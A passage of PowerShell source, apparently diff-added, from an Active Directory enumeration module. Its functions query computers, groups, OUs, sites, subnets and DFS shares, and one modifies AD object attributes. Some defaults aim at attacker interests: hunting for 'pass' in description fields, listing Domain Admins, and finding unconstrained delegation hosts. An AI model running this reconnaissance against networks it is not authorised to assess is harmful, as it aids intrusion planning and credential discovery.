LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Return computer objects that have unconstrained delegation. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetComputer + + Returns the current computers in current domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -SPN mssql* + + Returns all MS SQL servers on the domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -Domain testing + + Returns the current computers in 'testing' domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -Domain testing -FullData + + Returns full computer objects in the 'testing' domain. + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '*', + + [String] + $SPN, + + [String] + $OperatingSystem, + + [String] + $ServicePack, + + [String] + $Filter, + + [Switch] + $Printers, + + [Switch] + $Ping, + + [Switch] + $FullData, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $Unconstrained, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + process { + + if ($CompSearcher) { + + # if we're checking for unconstrained delegation + if($Unconstrained) { + Write-Verbose "Searching for computers with for unconstrained delegation" + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + } + # set the filters for the seracher if it exists + if($Printers) { + Write-Verbose "Searching for printers" + # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" + $Filter += "(objectCategory=printQueue)" + } + if($SPN) { + Write-Verbose "Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if($OperatingSystem) { + $Filter += "(operatingsystem=$OperatingSystem)" + } + if($ServicePack) { + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + + $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + + try { + + $CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Up = $True + if($Ping) { + # TODO: how can these results be piped to ping for a speedup? + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if($Up) { + # return full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise we're just returning the DNS host name + $_.properties.dnshostname + } + } + } + } + catch { + Write-Warning "Error: $_" + } + } + } +} + + +function Get-ADObject { +<# + .SYNOPSIS + + Takes a domain SID and returns the user, group, or computer object + associated with it. + + .PARAMETER SID + + The SID of the domain object you're querying for. + + .PARAMETER Name + + The Name of the domain object you're querying for. + + .PARAMETER SamAccountName + + The SamAccountName of the domain object you're querying for. + + .PARAMETER Domain + + The domain to query for objects, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Filter + + Additional LDAP filter string for the query. + + .PARAMETER ReturnRaw + + Switch. Return the raw object instead of translating its properties. + Used by Set-ADObject to modify object properties. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" + + Get the domain object associated with the specified SID. + + .EXAMPLE + + PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" + + Get the AdminSDHolder object for the testlab.local domain. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SID, + + [String] + $Name, + + [String] + $SamAccountName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $Filter, + + [Switch] + $ReturnRaw, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + process { + if($SID) { + # if a SID is passed, try to resolve it to a reachable domain name for the searcher + try { + $Name = Convert-SidToName $SID + if($Name) { + $Canonical = Convert-NT4toCanonical -ObjectName $Name + if($Canonical) { + $Domain = $Canonical.split("/")[0] + } + else { + Write-Warning "Error resolving SID '$SID'" + return $Null + } + } + } + catch { + Write-Warning "Error resolving SID '$SID' : $_" + return $Null + } + } + + $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if($ObjectSearcher) { + + if($SID) { + $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" + } + elseif($Name) { + $ObjectSearcher.filter = "(&(name=$Name)$Filter)" + } + elseif($SamAccountName) { + $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" + } + + $ObjectSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if($ReturnRaw) { + $_ + } + else { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + } + } +} + + +function Set-ADObject { +<# + .SYNOPSIS + + Takes a SID, name, or SamAccountName to query for a specified + domain object, and then sets a specified 'PropertyName' to a + specified 'PropertyValue'. + + .PARAMETER SID + + The SID of the domain object you're querying for. + + .PARAMETER Name + + The Name of the domain object you're querying for. + + .PARAMETER SamAccountName + + The SamAccountName of the domain object you're querying for. + + .PARAMETER Domain + + The domain to query for objects, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PropertyName + + The property name to set. + + .PARAMETER PropertyValue + + The value to set for PropertyName + + .PARAMETER ClearValue + + Switch. Clear the value of PropertyName + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 + + Set the countrycode for matt.admin to 0 +#> + + [CmdletBinding()] + Param ( + [String] + $SID, + + [String] + $Name, + + [String] + $SamAccountName, + + [String] + $Domain, + + [String] + $DomainController, + + [Parameter(Mandatory = $True)] + [String] + $PropertyName, + + $PropertyValue, + + [Switch] + $ClearValue, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $Arguments = @{ + 'SID' = $SID + 'Name' = $Name + 'SamAccountName' = $SamAccountName + 'Domain' = $Domain + 'DomainController' = $DomainController + 'PageSize' = $PageSize + } + # splat the appropriate arguments to Get-ADObject + $RawObject = Get-ADObject -ReturnRaw @Arguments + + try { + # get the modifiable object for this search result + $Entry = $RawObject.GetDirectoryEntry() + + # if the property name doesn't already exist + if(!$Entry.$PropertyName) { + $Entry.put($PropertyName, $PropertyValue) + $Entry.setinfo() + } + + else { + if($ClearValue) { + # remove the value fromt the entry + Write-Verbose "Clearing value" + $Entry.$PropertyName.clear() + } + else { + # resolve this property's type name so as can properly set it + $TypeName = $Entry.$PropertyName[0].GetType().name + $Entry.$PropertyName = $PropertyValue -as $TypeName + } + + $Entry.commitchanges() + } + } + catch { + Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_" + } +} + + +function Get-ComputerProperty { +<# + .SYNOPSIS + + Returns a list of all computer object properties. If a property + name is specified, it returns all [computer:property] values. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER Properties + + Return property names for computers. + + .PARAMETER Domain + + The domain to query for computer properties, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-ComputerProperty -Domain testing + + Returns all user properties for computers in the 'testing' domain. + + .EXAMPLE + + PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location + + Returns all an array of computer/ssn/lastlogin/location combinations + for computers in the current domain. + + .LINK + + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +#> + + [CmdletBinding()] + param( + [String[]] + $Properties, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if($Properties) { + # extract out the set of all properties for each object + $Properties = ,"name" + $Properties | Sort-Object -Unique + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -Property $Properties + } + else { + # extract out just the property names + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" + } +} + + +function Find-ComputerField { +<# + .SYNOPSIS + + Searches computer object fields for a given word (default *pass*). Default + field being searched is 'description'. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER SearchTerm + + Term to search for, default of "pass". + + .PARAMETER SearchField + + User field to search in, default of "description". + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Domain + + Domain to search computer fields for, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-ComputerField -SearchTerm backup -SearchField info + + Find computer accounts with "backup" in the "info" field. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Term')] + [String] + $SearchTerm = 'pass', + + [Alias('Field')] + [String] + $SearchField = 'description', + + [String] + $ADSpath, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + } +} + + +function Get-NetOU { +<# + .SYNOPSIS + + Gets a list of all current OUs in a domain. + + .PARAMETER OUName + + The OU name to query for, wildcards accepted. + + .PARAMETER GUID + + Only return OUs with the specified GUID in their gplink property. + + .PARAMETER Domain + + The domain to query for OUs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER FullData + + Switch. Return full OU objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetOU + + Returns the current OUs in the domain. + + .EXAMPLE + + PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local + + Returns all OUs with "admin" in their name in the testlab.local domain. + + .EXAMPLE + + PS C:\> Get-NetOU -GUID 123-... + + Returns all OUs with linked to the specified group policy object. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $OUName = '*', + + [String] + $GUID, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + process { + if ($OUSearcher) { + if ($GUID) { + # if we're filtering for a GUID in .gplink + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))" + } + else { + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" + } + + $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just returning the ADS paths of the OUs + $_.properties.adspath + } + } + } + } +} + + +function Get-NetSite { +<# + .SYNOPSIS + + Gets a list of all current sites in a domain. + + .PARAMETER SiteName + + Site filter string, wildcards accepted. + + .PARAMETER Domain + + The domain to query for sites, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER GUID + + Only return site with the specified GUID in their gplink property. + + .PARAMETER FullData + + Switch. Return full site objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetSite -Domain testlab.local -FullData + + Returns the full data objects for all sites in testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $GUID, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize + } + process { + if($SiteSearcher) { + + if ($GUID) { + # if we're filtering for a GUID in .gplink + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))" + } + else { + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))" + } + + try { + $SiteSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just return the site name + $_.properties.name + } + } + } + catch { + Write-Warning $_ + } + } + } +} + + +function Get-NetSubnet { +<# + .SYNOPSIS + + Gets a list of all current subnets in a domain. + + .PARAMETER SiteName + + Only return subnets from the specified SiteName. + + .PARAMETER Domain + + The domain to query for subnets, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER FullData + + Switch. Return full subnet objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetSubnet + + Returns all subnet names in the current domain. + + .EXAMPLE + + PS C:\> Get-NetSubnet -Domain testlab.local -FullData + + Returns the full data objects for all subnets in testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", + + [String] + $Domain, + + [String] + $ADSpath, + + [String] + $DomainController, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize + } + + process { + if($SubnetSearcher) { + + $SubnetSearcher.filter="(&(objectCategory=subnet))" + + try { + $SubnetSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" } + } + else { + # otherwise just return the subnet name and site name + if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) { + + $SubnetProperties = @{ + 'Subnet' = $_.properties.name[0] + } + try { + $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0] + } + catch { + $SubnetProperties['Site'] = 'Error' + } + + New-Object -TypeName PSObject -Property $SubnetProperties + } + } + } + } + catch { + Write-Warning $_ + } + } + } +} + + +function Get-DomainSID { +<# + .SYNOPSIS + + Gets the SID for the domain. + + .PARAMETER Domain + + The domain to query, defaults to the current domain. + + .EXAMPLE + + C:\> Get-DomainSID -Domain TEST + + Returns SID for the domain 'TEST' +#> + + param( + [String] + $Domain + ) + + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + # query for the primary domain controller so we can extract the domain SID for filtering + $PrimaryDC = $FoundDomain.PdcRoleOwner + $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid + $Parts = $PrimaryDCSID.split("-") + $Parts[0..($Parts.length -2)] -join "-" + } +} + + +function Get-NetGroup { +<# + .SYNOPSIS + + Gets a list of all current groups in a domain, or all + the groups a given user/group object belongs to. + + .PARAMETER GroupName + + The group name to query for, wildcards accepted. + + .PARAMETER SID + + The group SID to query for. + + .PARAMETER UserName + + The user name (or group name) to query for all effective + groups of. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Domain + + The domain to query for groups, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER AdminCount + + Switch. Return group with adminCount=1. + + .PARAMETER FullData + + Switch. Return full group objects instead of just object names (the default). + + .PARAMETER RawSids + + Switch. Return raw SIDs when using "Get-NetGroup -UserName X" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGroup + + Returns the current groups in the domain. + + .EXAMPLE + + PS C:\> Get-NetGroup -GroupName *admin* + + Returns all groups with "admin" in their group name. + + .EXAMPLE + + PS C:\> Get-NetGroup -Domain testing -FullData + + Returns full group data objects in the 'testing' domain +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $GroupName = '*', + + [String] + $SID, + + [String] + $UserName, + + [String] + $Filter, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $AdminCount, + + [Switch] + $FullData, + + [Switch] + $RawSids, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + process { + if($GroupSearcher) { + + if($AdminCount) { + Write-Verbose "Checking for adminCount=1" + $Filter += "(admincount=1)" + } + + if ($UserName) { + # get the raw user object + $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize + + # convert the user to a directory entry + $UserDirectoryEntry = $User.GetDirectoryEntry() + + # cause the cache to calculate the token groups for the user + $UserDirectoryEntry.RefreshCache("tokenGroups") + + $UserDirectoryEntry.TokenGroups | Foreach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in users and default domain user group + if(!($GroupSid -match '^S-1-5-32-545|-513$')) { + if($FullData) { + Get-ADObject -SID $GroupSid -PageSize $PageSize + } + else { + if($RawSids) { + $GroupSid + } + else { + Convert-SidToName $GroupSid + } + } + } + } + } + else { + if ($SID) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + else { + $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + } + + $GroupSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # if we're returning full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise we're just returning the group name + $_.properties.samaccountname + } + } + } + } + } +} + + +function Get-NetGroupMember { +<# + .SYNOPSIS + + This function users [ADSI] and LDAP to query the current AD context + or trusted domain for users in a specified group. If no GroupName is + specified, it defaults to querying the "Domain Admins" group. + This is a replacement for "net group 'name' /domain" + + .PARAMETER GroupName + + The group name to query for users. + + .PARAMETER SID + + The Group SID to query for users. If not given, it defaults to 512 "Domain Admins" + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Domain + + The domain to query for group users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER FullData + + Switch. Returns full data objects instead of just group/users. + + .PARAMETER Recurse + + Switch. If the group member is a group, recursively try to query its members as well. + + .PARAMETER UseMatchingRule + + Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified. + Much faster than manual recursion, but doesn't reveal cross-domain groups. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGroupMember + + Returns the usernames that of members of the "Domain Admins" domain group. + + .EXAMPLE + + PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users" + + Returns the usernames that of members of the "Power Users" group in the 'testing' domain. + + .LINK + + http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $GroupName, + + [String] + $SID, + + [String] + $Domain = (Get-NetDomain).Name, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $FullData, + + [Switch] + $Recurse, + + [Switch] + $UseMatchingRule, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + process { + + if ($GroupSearcher) { + + if ($Recurse -and $UseMatchingRule) { + # resolve the group to a distinguishedname + if ($GroupName) { + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize + } + elseif ($SID) { + $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + } + else { + # default to domain admins + $SID = (Get-DomainSID -Domain $Domain) + "-512" + $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + } + $GroupDN = $Group.distinguishedname + $GroupFoundName = $Group.name + + if ($GroupDN) { + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) + + $Members = $GroupSearcher.FindAll() + $GroupFoundName = $GroupName + } + else { + Write-Error "Unable to find Group" + } + } + else { + if ($GroupName) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + } + elseif ($SID) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + else { + # default to domain admins + $SID = (Get-DomainSID -Domain $Domain) + "-512" + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + + $GroupSearcher.FindAll() | ForEach-Object { + try { + if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue } + + $GroupFoundName = $_.properties.name[0] + $Members = @() + + if ($_.properties.member.Count -eq 0) { + $Finished = $False + $Bottom = 0 + $Top = 0 + while(!$Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + $GroupSearcher.PropertiesToLoad.Clear() + [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") + try { + $Result = $GroupSearcher.FindOne() + if ($Result) { + $RangedProperty = $_.Properties.PropertyNames -like "member;range=*" + $Results = $_.Properties.item($RangedProperty) + if ($Results.count -eq 0) { + $Finished = $True + } + else { + $Results | ForEach-Object { + $Members += $_ + } + } + } + else { + $Finished = $True + } + } + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } + } + } + else { + $Members = $_.properties.member + } + } + catch { + Write-Verbose $_ + } + } + } + + $Members | Where-Object {$_} | ForEach-Object { + # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion + if ($Recurse -and $UseMatchingRule) { + $Properties = $_.Properties + } + else { + if ($DomainController) { + $Properties = ([adsi]"LDAP://$DomainController/$_").Properties + } + else { + $Properties = ([adsi]"LDAP://$_").Properties + } + } + + if($Properties.samaccounttype -match '268435456') { + $IsGroup = $True + } + else { + $IsGroup = $False + } + + if ($FullData) { + $GroupMember = Convert-LDAPProperty -Properties $Properties + } + else { + $GroupMember = New-Object PSObject + } + + $GroupMember | Add-Member Noteproperty 'GroupDomain' $Domain + $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + + try { + $MemberDN = $Properties.distinguishedname[0] + + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + } + catch { + $MemberDN = $Null + $MemberDomain = $Null + } + + if ($Properties.samaccountname) { + # forest users have the samAccountName set + $MemberName = $Properties.samaccountname[0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $Properties.cn[0] + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties.cn + } + } + + if($Properties.objectSid) { + $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) + } + else { + $MemberSid = $Null + } + + $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid + $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN + + $GroupMember + + # if we're doing manual recursion + if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { + Get-NetGroupMember -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize + } + } + } + } +} + + +function Get-NetFileServer { +<# + .SYNOPSIS + + Returns a list of all file servers extracted from user + homedirectory, scriptpath, and profilepath fields. + + .PARAMETER Domain + + The domain to query for user file servers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER TargetUsers + + An array of users to query for file servers. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetFileServer + + Returns active file servers. + + .EXAMPLE + + PS C:\> Get-NetFileServer -Domain testing + + Returns active file servers for the 'testing' domain. +#> + + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String[]] + $TargetUsers, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function SplitPath { + # short internal helper to split UNC server paths + param([String]$Path) + + if ($Path -and ($Path.split("\\").Count -ge 3)) { + $Temp = $Path.split("\\")[2] + if($Temp -and ($Temp -ne '')) { + $Temp + } + } + } + + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Where-Object {$_} | Where-Object { + # filter for any target users + if($TargetUsers) { + $TargetUsers -Match $_.samAccountName + } + else { $True } + } | Foreach-Object { + # split out every potential file server path + if($_.homedirectory) { + SplitPath($_.homedirectory) + } + if($_.scriptpath) { + SplitPath($_.scriptpath) + } + if($_.profilepath) { + SplitPath($_.profilepath) + } + + } | Where-Object {$_} | Sort-Object -Unique +} + + +function Get-DFSshare { +<# + .SYNOPSIS + + Returns a list of all fault-tolerant distributed file + systems for a given domain. + + .PARAMETER Version + + The version of DFS to query for servers. + 1/v1, 2/v2, or all + + .PARAMETER Domain + + The domain to query for user DFS shares, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-DFSshare + + Returns all distributed file system shares for the current domain. + + .EXAMPLE + + PS C:\> Get-DFSshare -Domain test + + Returns all distributed file system shares for the 'test' domain. +#> + + [CmdletBinding()] + param( + [String] + [ValidateSet("All","V1","1","V2","2")] + $Version = "All", + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-DFSshareV1 { + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=fTDfs))" + + try { + $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} + } + } + catch { + Write-Debug "Error in parsing DFS share : $_" + } + } + } + } + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Property "RemoteServerName" + } + } + + function Get-DFSshareV2 { + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" + $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split("\")[3] + 